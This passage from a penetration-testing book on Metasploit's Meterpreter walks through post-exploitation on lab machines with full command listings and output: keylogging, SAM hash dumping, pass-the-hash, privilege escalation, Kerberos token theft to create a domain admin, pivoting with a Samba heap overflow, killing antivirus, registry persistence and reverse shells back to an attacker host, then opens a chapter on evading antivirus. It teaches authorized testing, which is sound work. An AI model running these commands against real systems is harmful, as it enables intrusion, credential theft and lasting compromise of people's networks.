Another command we can specify is sysinfo, which will tell us the platform on which the system is running, as shown here:

meterpreter > sysinfo
Computer: IHAZSECURITY
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: en_US

As you can see, this system is running Windows XP Service Pack 2. Because SP2 is end of life, we can assume that we can find a ton of holes on this system.

Capturing Keystrokes

Now we’ll grab the password hash values from this system, which can either be cracked or used in an attack. We’ll also start keystroke logging (recording keystrokes) on the remote system. But first, let’s list the running processes on the target system with the ps command.

meterpreter > ps

Process list
============

PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM

. . . SNIP . . .

1476 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\
system32\spoolsv.exe
1668 explorer.exe
x86 0 IHAZSECURITY\Administrator C:\WINDOWS\
Explorer.EXE

. . . SNIP . . .

4032 notepad.exe x86 0 IHAZSECURITY\Administrator C:\WINDOWS\
system32\notepad.exe

meterpreter > migrate 1668
[*] Migrating to 1668...
[*] Migration completed successfully.
meterpreter > run post/windows/capture/keylog_recorder
[*] Executing module against V-MAC-XP
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to root.msf3/loot/
20110324171334_default_192.168.1.195_host.windows.key_179703.txt
[*] Recording keystrokes...
[*] Saving last few keystrokes...

root@bt:˜# cat root.msf3/loot/20110324171334_
default_192.168.1.195_host.windows.key_179703.txt
Keystroke log started at Thu Mar 24 17:13:34 −0600 2011

administrator password <Back> <Back> <Back> <Back> <Back> <Back>
<Back> <Tab> password123!!

Executing ps at provides a list of running processes, including explorer.exe . At we issue the migrate command to move our session into the explorer.exe process space. Once that move is complete, we start the keylog_recorder module at , stopping it after some time with ctrl-C, and finally, at , in another terminal window, we dump the contents of the keystroke logger to see what we’ve caught.

Dumping Usernames and Passwords

In the preceding example, we grabbed password hashes by logging what a user typed. We can also use Meterpreter to obtain the usernames and password hashes on a local file system without the use of keyloggers.

Extracting the Password Hashes

In this attack, we’ll leverage the hashdump post exploitation module in Meterpreter to extract the username and password hashes from the system. Microsoft typically stores hashes on LAN Manager (LM), NT LAN Manager (NTLM), and NT LAN Manager v2 (NTLMv2).

In the case of LM, for example, when a use enters a password for the first time or changes a password, the password is assigned a hash value. Depending on the hash value length, the password can be split into seven-character hashes. For example, if the password is password123456, the hash value could be stored as passwor and d123456, so an attacker would simply need to crack a 7-character password instead of a 14-character one. In NTLM, regardless of the password size, password123456 would be stored as a hash value of password123456.

Note

We’re using a super complex password here that we would not be able to crack in a reasonable amount of time. Our password is larger than the 14-character maximum that LM supports, so it has automatically converted itself to an NTLM-based hash value. Even with rainbow tables or a super powerful cracking machine, it would take a significant amount of time to crack these passwords.

In the following code, we extract a username and password hash for the Administrator user account with UID 500 (the Windows Administrator system default). The strings that follow Administrator:500 are two hashes of the Administrator password. This shows an example of a simple extract of a username and password hashes. Shortly, we will extract our own username and password hashes from our Windows XP system.

Administrator:500:e52cac67419a9a22cbb699e2fdfcc59e
:30ef086423f916deec378aac42c4ef0c :::

The first hash at is an LM hash, and the second at is an NTLM hash.

Dumping the Password Hash

On your target machine, change your password to something complex, such as thisisacrazylongpassword&&!!@@## and use Meterpreter to dump the username and password hashes (shown in the preceding code listing) from the target again. We will leverage the use priv command, which means we are running as a privileged user account.

To dump the Security Account Manager (SAM) database, we need to be running as SYSTEM to get around the registry restrictions and dump the protected SAM storage that contains our Windows usernames and passwords, as shown next. Try performing this scenario on a test virtual machine to see if you can dump the username and password hashes. In this listing, we execute the hashdump command, which dumps all the usernames and password hashes from the system.

meterpreter > use priv
Loading extension priv...success.
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29:::

A hash value that starts with aad3b435 is simply an empty or null hash value — a placeholder for an empty string. (Something like Administrator:500:NOPASSWD:ntlmhash is also null.) Because our password was longer than 14 characters, Windows can no longer store an LM hash, and it uses the standard aad3b435 . . . string, which represents a blank password.

The Problem With Lm Hashes

Just for fun, try the following: Change your password to something complex that is 14 characters or less. Then extract the password hashes from the system with hashdump and copy the first hash value (such as the portion beginning with aad3b435 in the preceding example), which is the LM hash. Next, search for one of the many online password crackers and submit your hash value. Wait a few minutes, click the refresh button a couple of times, and your password should be cracked. (Be careful not to use one of your real passwords, because the information is frequently posted to everyone who visits the site!)

This is a rainbow table attack. A rainbow table is a precomputed table used for reversing cryptographic hash functions, usually for cracking passwords. Rainbow tables use every combination of characters including 1–7, a–z, special symbols, and spaces. When you submit your hash to an online cracker, the site’s server searches through gigabytes of rainbow tables for your specific hash.

Pass the Hash

In the preceding example, we ran into a slight complication: We have the administrator’s username and password hashes, but we can’t crack the password in a reasonable time frame. If we don’t know the password, how can we log into additional machines and potentially compromise more systems with this one user account?

We can use the pass-the-hash technique, which requires that we have only the password hash, not the password itself. Metasploit’s windows/smb/psexec module makes this all possible, as shown here:

msf> use windows/smb/psexec
msf exploit(psexec)> set PAYLOAD windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec)> set LHOST 192.168.33.129
LHOST => 192.168.33.129
msf exploit(psexec)> set LPORT 443
LPORT => 443
msf exploit(psexec)> set RHOST 192.168.33.130
RHOST => 192.168.33.130

. . . SNIP . . .

msf exploit(psexec)> set SMBPass
aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c
SMBPass => aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
msf exploit(psexec)> exploit
[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'Administrator'...
[*] Uploading payload...
[*] Created \JsOvAFLy.exe...

After we select the smb/psexec module at and set the options for LHOST, LPORT, and RHOST, we set the SMBPass variable, and at we input the hash that we dumped earlier. As you can see, authentication is successful and we gain our Meterpreter session. We didn’t have to crack a password, and no password was needed. We’ve secured Administrator privileges using the password hash alone.

When we successfully compromise one system on a large network, in most cases that system will have the same administrator account on multiple systems. This attack would allow us to hop from one system to another without ever needing to crack the password itself.

Privilege Escalation

Now that we have access to the system, we can create a normal user account with limited permissions using the net user command. We’ll create a new user account to demonstrate how to elevate permissions as that user. (You will learn more about this in Chapter 8.)

When we compromise a limited user account, we will run into restrictions that prevent us from executing commands that require administrative-level permissions. By elevating an account’s permissions, we overcome that restriction.

On a Windows XP target machine, we enter the following command:

C:\Documents and Settings\Administrator>net user bob password123 /add.

Next, we create a Meterpreter-based payload, payload.exe, copy it to the target’s XP machine, and run it under the user account bob. This will be our new limited user account. In this example, we will use msfpayload to create a Meterpreter-based payload as a normal Windows executable. (We’ll discuss msfpayload in more detail in Chapter 7.)

root@bt:optframework3/msf3# msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.33.129 LPORT=443 X > payload.exe
root@bt:optframework3/msf3# msfcli multi/handler
PAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.33.129 LPORT=443 E
[*] Please wait while we load the module tree...
[*] Started reverse handler on 192.168.33.129:443
[*] Starting the payload handler...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.33.129:443 -> 192.168.33.130:1056)
meterpreter > getuid
Server username: IHAZSECURITY\bob

The LHOST and LPORT options tell Metasploit that when it creates our Meterpreter payload it should connect back to our attacker machine on port 443. We then call the msfcli interface to start a listener handler for us. This listener handler will wait for connections, and when one is received, it will spawn a Meterpreter shell.

On the attacker machine, we create a new Meterpreter stand-alone executable at , copy the executable to the Windows XP machine, and run it under the user account bob.

We then set up a listener at to listen for the Meterpreter connection. After the target executes the payload on the system (payload.exe), we see a limited user Meterpreter console . We can, for example, generate a payload.exe on a Back|Track machine, copy the executable to a Windows XP machine, and set up a listener to get a Meterpreter session.

As shown in the next listing, we drop to a Meterpreter shell at and enter net user bob; we can see that user bob is a member of the Users group, is not an administrator, and has limited rights. We have a limited footprint from which to attack this device, and we can’t perform certain attacks, such as dumping the SAM database to extract usernames and passwords. (Luckily, Meterpreter has us covered, as you’ll see in a moment.) Our query complete, we press ctrl-Z, which saves our Meterpreter session and keeps us in the exploited system.

meterpreter > shell
Process 2896 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>net user bob

. . . SNIP . . .

Local Group Memberships Users
Global Group memberships None
The command completed successfully.
C:\>^Z
Background channel 1? [y/N] y

Note

Here’s another Meterpreter trick: While you’re in the Meterpreter console, enter background to jump back into msfconsole and leave the session running. Then enter sessions -l and sessions -isessionid to return to your Meterpreter console.

Now let’s get administrative or SYSTEM rights. As shown in the next listing, we enter use priv to load the priv extensions, which gets us access to the privileged module (which may already be loaded). Next, we enter getsystem in an attempt to elevate our privilege to that of local system, or administrator. We then verify that we have admin privileges with the getuid command. The server username returned is NT AUTHORITY\SYSTEM, which tells us that we’ve succeeded at gaining administrator access.

meterpreter > use priv
Loading extension priv...success.
meterpreter > getsystem
...got system (via technique 4).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

To switch back to the previous user account where we initially got our Meterpreter shell, we’d use rev2self.

Token Impersonation

In token impersonation, we grab a Kerberos token on the target’s machine and then use it in place of authentication to assume the identity of the user that originally created that token. Token impersonation is very beneficial for penetration tests and can be one of Meterpreter’s most powerful features.

Consider the following scenario, for example: You’re performing a penetration test at your organization, and you successfully compromise the system and establish a Meterpreter console. A domain administrator account has logged on within the last 13 hours. When this account logs on, a Kerberos token is passed to the server (single sign-on) and is valid for a certain period of time. You exploit this system via the valid and active Kerberos token, and through Meterpreter you successfully assume the role of a domain administrator, without needing the password. Then you hack a domain administrator account or go after a domain controller. This is probably one of the easiest ways to gain access into a system and just another example of why Meterpreter is so useful.

Using ps

For this example, we’ll use the Meterpreter function ps to list the applications running and show under which account they are running. We’ll use the domain name SNEAKS.IN and the user account ihazdomainadmin .

meterpreter > ps

Process list
============

PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM
380 cmd.exe x86 0 SNEAKS.IN\ihazdomainadmin
\System\
Root\System32\cmd.exe

. . . SNIP . . .

meterpreter >

As shown in the following listing, we leverage steal_token and the PID (380 in this case) to steal the token of that user and assume the role of the domain administrator:

meterpreter > steal_token 380
Stolen token with username: SNEAKS.IN\ihazdomainadmin
meterpreter >

We have successfully impersonated the domain administrator account and Meterpreter is now running under the context of that user.

In some cases, ps may not list a running process running as a domain administrator. We can leverage incognito to list available tokens on the system as well. When performing a penetration test, we should check the output of both ps and icognito because the results may vary.

We load incognito with use incognito and then list tokens with list_tokens -u. Looking through the list of tokens, we see the SNEAKS.IN\ihazdomainadmin user account at . Now we can pretend to be someone else.

meterpreter > use incognito
Loading extension incognito...success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
SNEAKS.IN\ihazdomainadmin
IHAZSECURITY\Administrator
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

As shown in the next listing, we successfully impersonate the ihazdomainadmin token at and add a user account at , which we then give domain administrator rights at . (Be sure to use two backslashes, \\, when entering the DOMAIN\USERNAME at .) Our domain controller is 192.168.33.50.

meterpreter > impersonate_token SNEAKS.IN\\ihazdomainadmin
[+] Delegation token available
[+] Successfully impersonated user SNEAKS.IN\ihazdomainadmin
meterpreter > add_user omgcompromised p@55w0rd! -h 192.168.33.50
[*] Attempting to add user omgcompromised to host 192.168.33.50
[+] Successfully added user
meterpreter > add_group_user "Domain Admins" omgcompromised -h 192.168.33.50

[*] Attempting to add user omgcompromised to
group Domain Admins on domain controller
192.168.33.50
[+] Successfully added user to group

When entering the add_user and add_group_user commands, be sure to specify the -h flag, which tells Incognito where to add the domain administrator account. In this case, that would be the IP address of a domain controller. The implications for this attack are devastating: Essentially, the Kerberos token on any system that a domain administrator logs into can be assumed and used to access the entire domain. This means that every server on your network is your weakest link!

Pivoting onto Other Systems

Pivoting is a Meterpreter method that allows for the attack of other systems on a network through the Meterpreter console. For example, if an attacker were to compromise one system, he could use pivoting to compromise other systems on the same network or to access systems to which he could not otherwise route traffic, for whatever reason.

For example, suppose you’re performing a penetration test from the Internet. You compromise a system through a vulnerability and have a Meterpreter console to the internal network. You can’t directly access other systems on the network, because the system you compromised did not provide you with everything you need to do so, but you need to penetrate the network further. Pivoting will allow you to attack multiple systems on the internal network through the Internet, using the Meterpreter console.

In the following example, we’ll attack a system from one subnet and route that system to attack another system. First, we’ll exploit the Windows XP machine, and then we’ll piggyback the attack from our attacking machine to an Ubuntu system on the internal network. We’ll come from a 10.10.1.1/24 address and attack systems within the 192.168.33.1/24 network.

We’ll assume that we already have access to one server via a compromise and will focus on establishing a connection to that network. Next, we introduce external scripts written with Meterpreter that can be found in the scripts/meterpreter/ directory. These scripts offer additional functionality that we can use within Meterpreter.

We begin by displaying local subnets on the compromised system within a Meterpreter session with run get_local_subnets, as shown at .

[*] Meterpreter session 1 opened (10.10.1.129:443 -> 192.168.33.130:1075)

meterpreter > run get_local_subnets
Local subnet: 192.168.33.0/255.255.255.0
meterpreter > background
msf exploit(handler) > route add 192.168.33.0 255.255.255.0 1
msf exploit(handler) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
192.168.33.0 255.255.255.0 Session 1

We have successfully compromised our Windows XP machine and have full access to it. Next, we background our running session at and add a route command to the Framework at , telling it to route the remote network ID over session 1, the background Meterpreter session. We then display active routes with route print at , and we can clearly see at that, just as we desired, the route is active.

Next, we’ll set up a second exploit against the targeted Linux system. The specific exploit here is a Samba-based heap overflow, which would be vulnerable on our Metasploitable machine.

use msf exploit(handler) > use linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(lsa_transnames_heap) > set LHOST 10.10.1.129
LHOST => 10.10.1.129
msf exploit(lsa_transnames_heap) > set LPORT 8080
LPORT => 8080
msf exploit(lsa_transnames_heap) > set RHOST 192.168.33.132
RHOST => 192.168.33.132
msf exploit(lsa_transnames_heap) > ifconfig
[*] exec: ifconfig

eth0 Link encap:Ethernet HWaddr 00:0c:29:47:e6:79
inet addr:10.10.1.129 Bcast:10.10.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe47:e679/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:23656 errors:0 dropped:0 overruns:0 frame:0
TX packets:32321 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:4272582 (4.2 MB) TX bytes:17849775 (17.8 MB)
Interrupt:19 Base address:0x2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:600 errors:0 dropped:0 overruns:0 frame:0
TX packets:600 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:41386 (41.3 KB) TX bytes:41386 (41.3 KB)

msf exploit(lsa_transnames_heap) > exploit

[*] Started reverse handler on 10.10.1.129:8080
[*] Creating nop sled....
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...
[*] Binding to 12345778-1234-abcd-ef00-0123456789
ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@
ncacn_np:192.168.33.132[\lsarpc] ...
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Trying to exploit Samba with address 0xffffe411...
[*] Connecting to the SMB service...
[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0
@ncacn_np:192.168.33.132[\lsarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0
@ncacn_np:192.168.33.132[\lsarpc] ...
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Trying to exploit Samba with address 0xffffe412...
[*] Connecting to the SMB service...
[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:
0.0@ncacn_np:192.168.33.132[\lsarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123
456789ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...
[*] Calling the vulnerable function...
[*] Sending stage (36 bytes)
[*] Command shell session 1 opened (10.10.1.129:8080 -> 192.168.33.132:1608)

Compare the LHOST and RHOST variables to the network information displayed by ifconfig . Our LHOST option specifies the IP address of our attacking machine. Also notice, the RHOST option IP address is set to a different network subnet and that we are attacking systems by tunneling our traffic through our compromised target to additional systems on the target’s network. We are leveraging the pivoting attack through Metasploit to pass communications through our exploited machine to the target machine that resides on the local subnet. In this case, if the heap overflow is successful, we should be presented with a reverse shell from 192.168.33.132, simply by leveraging the network communications on the already compromised machine. When we run the exploit with exploit, we see at that a connection is set up as expected on a different machine, not the Windows XP machine. Now, to port scan through the pivot, we would use the scanner/portscan/tcp scanner module, which is built to handle routing through Metasploit.

Note

You could also use the scanner/portscan/tcp scanner to conduct a series of port scans through your compromised target on the local subnet itself. We won’t go into the details here, but just know that you can perform port scanning on a compromised network leveraging this module.

In the preceding examples, we used the route add command after we had compromised the system. Alternatively, to add the routes automatically to Meterpreter upon a new session spawn, we could use load auto_add_route:

msf exploit(ms08_067_netapi) > load auto_add_route
[*] Successfully loaded plugin: auto_add_route

msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 10.10.1.129:443
[*] Triggering the vulnerability...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (10.10.1.129:443 -> 192.168.33.130:1090)
[*] AutoAddRoute: Routing new subnet 192.168.33.0/255.255.255.0 through session 1

Using Meterpreter Scripts

Several external Meterpreter scripts can help you to enumerate a system or perform predefined tasks inside the Meterpreter shell. We won’t cover every script here, but we will mention a few of the most notable ones.

Note

The Meterpreter scripts are in the process of being moved to post exploitation modules. We’ll cover both scripts and post exploitation modules in this chapter.

To run a script from the Meterpreter console, enter runscriptname. The script will either execute or provide additional help on how to run it.

Should you want to use an interactive remote GUI on the system, you can use the VNC protocol to tunnel the active desktop communications and interact with the GUI desktop on the target machine. But in some cases, the system may be locked and you may be unable to access it. Never fear: Metasploit has us covered.

In the following example, we issue the run vnc command, which installs a VNC session on the remote system. From there, we launch run screen_unlock to unlock the target machine so that we can view the desktop. As a result, a VNC window should appear, showing us the target desktop.

meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.33.129 LPORT=4545)
[*] Running payload handler
[*] VNC stager executable 37888 bytes long
[*] Uploaded the VNC agent to C:\WINDOWS\TEMP\CTDWtQC.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.33.129:4545...
[*] VNC Server session 2 opened (192.168.33.129:4545 -> 192.168.33.130:1091)

This will give us a VNC graphical interface to the target machine and allow us to interact through a desktop.

meterpreter > run screen_unlock
[*] OS 'Windows XP (Build 2600, Service Pack 2).' found in known targets
[*] patching...
[*] done!

Migrating a Process

Often, when we are attacking a system and exploiting a service such as Internet Explorer, if the target user closes the browser, the Meterpreter session is also closed and we lose our connection to the target. To avoid this problem, we can use the migrate post exploitation module, shown next, to attempt to migrate the service to a memory space that won’t close when the target closes the browser. By migrating to a different, more stable process, we ensure that the process isn’t closed and we maintain our connection to the system.

meterpreter > run post/windows/manage/migrate
[*] Running module against V-MAC-XP
[*] Current server process: revterp.exe (2436)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)

Killing Antivirus Software

Antivirus software can block certain tasks. During penetration tests, we have seen “smarter” antivirus or host-based intrusion prevention products block our ability to run certain attack vectors. In such cases, we can run the killav script to stop the processes preventing our tasks from running.

meterpreter > run killav
[*] Killing Antivirus services on the target...
[*] Killing off cmd.exe...
[*] Killing off cmd.exe...

Obtaining System Password Hashes

Obtaining a copy of the system’s password hashes allows us to run pass-the-hash attacks or to brute force the hash to reveal the plain-text password. We can obtain the password hashes with the run hashdump command:

meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY de4b35306c5f595438a2f78f768772d2...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::

Viewing All Traffic on a Target Machine

To see all traffic on a target, we can run a packet recorder. Everything captured by packetrecorder is saved in the .pcap file format to be parsed with a tool such as Wireshark.

In this listing, we run the packetrecorder script with the -i 1 option, which specifies which interface we want to use to perform the packet captures:

meterpreter > run packetrecorder -i 1
[*] Starting Packet capture on interface 1
[*] Packet capture started

Scraping a System

The scraper script enumerates just about everything you could ever want from a system. It will grab the usernames and passwords, download the entire registry, dump password hashes, gather system information, and export the HKEY_CURRENT_USER (HKCU).

meterpreter > run scraper
[*] New session on 192.168.33.130:1095...
[*] Gathering basic system information...
[*] Dumping password hashes...
[*] Obtaining the entire registry...
[*] Exporting HKCU
[*] Downloading HKCU (C:\WINDOWS\TEMP\XklepHOU.reg)

Using Persistence

Meterpreter’s persistence script allows you to inject a Meterpreter agent to ensure that Meterpreter is running even after the target system reboots. If this is a reverse connection, you can set intervals for the target to connect back to the attacker machine. If it’s a bind, you can have it attempt to bind on an interface at a given time.

Warning

If you use this functionality, be sure that you remove it after you’re done. If you forget to do this, any attacker can also gain access to the system without authentication!

In the following listing, we run persistence and tell Windows to autostart the agent at boot time (-X), wait 50 seconds (-i 50) before connection retries, run on port 443 (-p 443), and connect to IP 192.168.33.129. We then establish a listener for the agent at with use multi/handler, and after setting a couple of options and running exploit, we see at that the connection comes in as expected.

meterpreter > run persistence -X -i 50 -p 443 -r 192.168.33.129
[*] Creating a persistent agent: LHOST=192.168.33.129
LPORT=443 (interval=50 onboot=true)
[*] Persistent agent script is 316384 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\asSnqrlUDRwO.vbs
[*] Agent executed with PID 3160
[*] Installing into autorun as HKLM\Software\Microsoft\Windows
\CurrentVersion\Run\xEYnaHedooc
[*] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
xEYnaHedooc
msf> use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > set LHOST 192.168.33.129
LHOST => 192.168.33.129
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.33.129:443
[*] Starting the payload handler...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 2 opened (192.168.33.129:443 -> 192.168.33.130:1120)

As of this writing, the only way to remove the Meterpreter agent is to delete the registry entry in HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ and remove the VBScript located in C:\WINDOWS\TEMP\. Be sure to document the registry keys and locations (such as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xEYnaHedooc ) to remove them manually. Generally, you can do this through Meterpreter or drop to a shell and remove it that way. If you feel more comfortable using a GUI, you can use run vnc and remove the script with regedit. (Note that the registry keys will change each time, so make sure that you document where Metasploit adds the registry keys.)

Leveraging Post Exploitation Modules

As mentioned earlier, the Meterpreter scripts are slowly being converted to post exploitation modules. The move to post exploitation modules will finally give a fully consistent standard and format to the Metasploit modules. As you read through later chapters, you’ll see the overall structure of auxiliary modules and exploits. In the past, Meterpreter scripts used their own format, which was very different from the way other modules behaved.

One added benefit of moving the modules to the same format is the ability to perform the same attack on all sessions available. Suppose, for example, that you have 10 open Meterpreter shells. In the traditional fashion, you would need to run hashdump on each or write custom scripts to query through each console. In the new format, you would be able to interact with each session and perform the hashdump on multiple systems if needed.

The next listing shows an example of how to use the post exploitation modules:

meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY de4b35306c5f595438a2f78f768772d2...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

To see a list of post exploitation modules, enter the following and then press the tab key on your keyboard at the end of the line:

meterpreter > run post/

Upgrading Your Command Shell to Meterpreter

One of the newer features in the Metasploit Framework is its ability to upgrade a command shell payload to a Meterpreter payload once the system has been exploited, by issuing the sessions -u command. This is useful if we use a command shell payload as an initial stager and then find that this newly exploited system would make the perfect launching pad for further attacks into the network. Let’s look at a quick example from start to finish using MS08-067 with a reverse command shell as the payload, and upgrade it to a Meterpreter shell.

root@bt:optframework3/msf3# msfconsole
msf > search ms08_067
[*] Searching loaded modules for pattern 'ms08_067'...

Exploits
========

Name Rank Description
---- ---- -----------
windows/smb/ms08_067_netapi great Microsoft Server Service Relative Path Stack
Corruption

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > set TARGET 3
target => 3
msf exploit(ms08_067_netapi) > setg LHOST 192.168.33.129
LHOST => 192.168.33.129
msf exploit(ms08_067_netapi) > setg LPORT 8080
LPORT => 8080
msf exploit(ms08_067_netapi) > exploit -z

[*] Started reverse handler on 192.168.33.129:8080
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.33.129:8080 -> 192.168.33.130:1032)
[*] Session 1 created in the background.
msf exploit(ms08_067_netapi) > sessions -u 1

[*] Started reverse handler on 192.168.33.129:8080
[*] Starting the payload handler...
[*] Command Stager progress - 3.16% done (1694/53587 bytes)
[*] Command Stager progress - 6.32% done (3388/53587 bytes)

. . . SNIP . . .

[*] Command Stager progress - 97.99% done (52510/53587 bytes)
[*] Sending stage (748032 bytes)
msf exploit(ms08_067_netapi) > [*] Meterpreter session 2
opened (192.168.33.129:8080 ->
192.168.33.130:1044)
msf exploit(ms08_067_netapi) > sessions -i 2
[*] Starting interaction with 2...
meterpreter >

At we issue the setg command for LHOST and LPORT, which is required in order for the sessions -u 1 to upgrade to Meterpreter at . (The setg command sets the LPORT and LHOST globally in Metasploit, not just for this exploit.)

Notice at that when we exploit the system we issue the exploit -z command, which will not interact with the session once the target has been exploited. If you had already executed the exploit command at this point, you could simply press ctrl-Z and run the session in the background.

Manipulating Windows APIs with the Railgun Add-On

You can interface with the Windows native API directly through a Metasploit add-on called Railgun, which was written by Patrick HVE. By adding Railgun to the Metasploit Framework, you can natively call Windows APIs through Meterpreter, all through the Windows API. For example, in the following listing, we’ll drop into an interactive Ruby shell (irb), available through Meterpreter. The irb shell allows us to interact directly with Meterpreter through Ruby-based syntax. We call Railgun in this example and create a simple pop-up box saying “hello world”.

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>> client.railgun.user32.MessageBoxA(0,"hello","world","MB_OK")

On our target Windows XP machine, you should see a pop-up box with world in the title bar and hello in the message box. In this example, we simply called the user32.dll and the MessageBoxA function, which takes the parameters as shown.

Note

For a list of all documented API calls, visit http://msdn.microsoft.com/.

We won’t cover Railgun in detail (you can find a tutorial within the Framework directory under external/source/meterpreter/source/extensions/stdapi/server/railgun/, but this gives you an idea of its power.

The implications are huge: Railgun gives you the same capabilities as a native Win32 application with full access to the Windows API.

Wrapping Up

Hopefully, you’re now pretty comfortable with Meterpreter. We haven’t gone through every Meterpreter flag and option, because we expect your knowledge of Meterpreter to grow as you experiment and use it. Meterpreter is a continuously evolving tool with an enormous amount of support for scripts and additions. Once you become comfortable with the overall interface, you will be able to master anything new. In Chapter 16, you will learn how to create your own Meterpreter scripts from scratch and how the overall structure of a Meterpreter script is designed.

Chapter 7. Avoiding Detection

When you are performing a penetration test, nothing is more embarrassing than being caught by antivirus software. This is one of those little details that can be overlooked quite easily: If you don’t make plans to evade detection by antivirus software, watch out, because your target will quickly be alerted that something fishy is going on. In this chapter, we’ll cover situations in which antivirus software might be an issue and discuss possible solutions.

Most antivirus software uses signatures to identify aspects of malicious code that are present in a sampling of malicious software. These signatures are loaded into antivirus engines and then used to scan disk storage and running processes for matches. When a match is found, the antivirus software takes certain steps to respond to the situation: Most quarantine the binary or kill the running process.

As you might imagine, this model has scaling issues. For one, the amount of malicious code in the wild means that an antivirus product loaded with signatures can check files only so quickly for matching signatures. Also, the signatures must be specific enough to trigger only when they encounter truly malicious programs, not legitimate software. This model is relatively easy to implement, yet it provides limited success in practice.

That being said, a lot of money is being made by antivirus publishers, and many smart and talented people work in the industry. If you plan to use a payload that is not custom built, you can expect that antivirus software will detect it.

To evade antivirus, we can create unique payloads to run on an antivirus software–protected system that will not match any of the available signatures. In addition, when we’re performing direct exploits on a system, Metasploit payloads are designed to run in memory and never to write data to the hard disk. When we send a payload as part of an exploit, most antivirus programs will not detect that it has been run on the target.

Rather than focus on specific commands in this chapter, we’ll focus on the underlying concepts. Consider the sorts of characteristics that might trigger antivirus software, and try to use the techniques presented here to change sections of code so that they no longer match the antivirus signatures. Don’t be afraid to experiment.

Creating Stand-Alone Binaries with MSFpayload

Before we perform an antivirus evasion, let’s look at how to create stand-alone Metasploit binary payloads with msfpayload. For starters, we’ll create a simple reverse shell that connects back to the attacker and spawns a command shell. We’ll use msfpayload and windows/shell_reverse_tcp. But first, let’s look at the available options for the shell_reverse_tcp payload using the O flag at .

root@bt:/# msfpayload windows/shell_reverse_tcp O

. . . SNIP . . .

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port

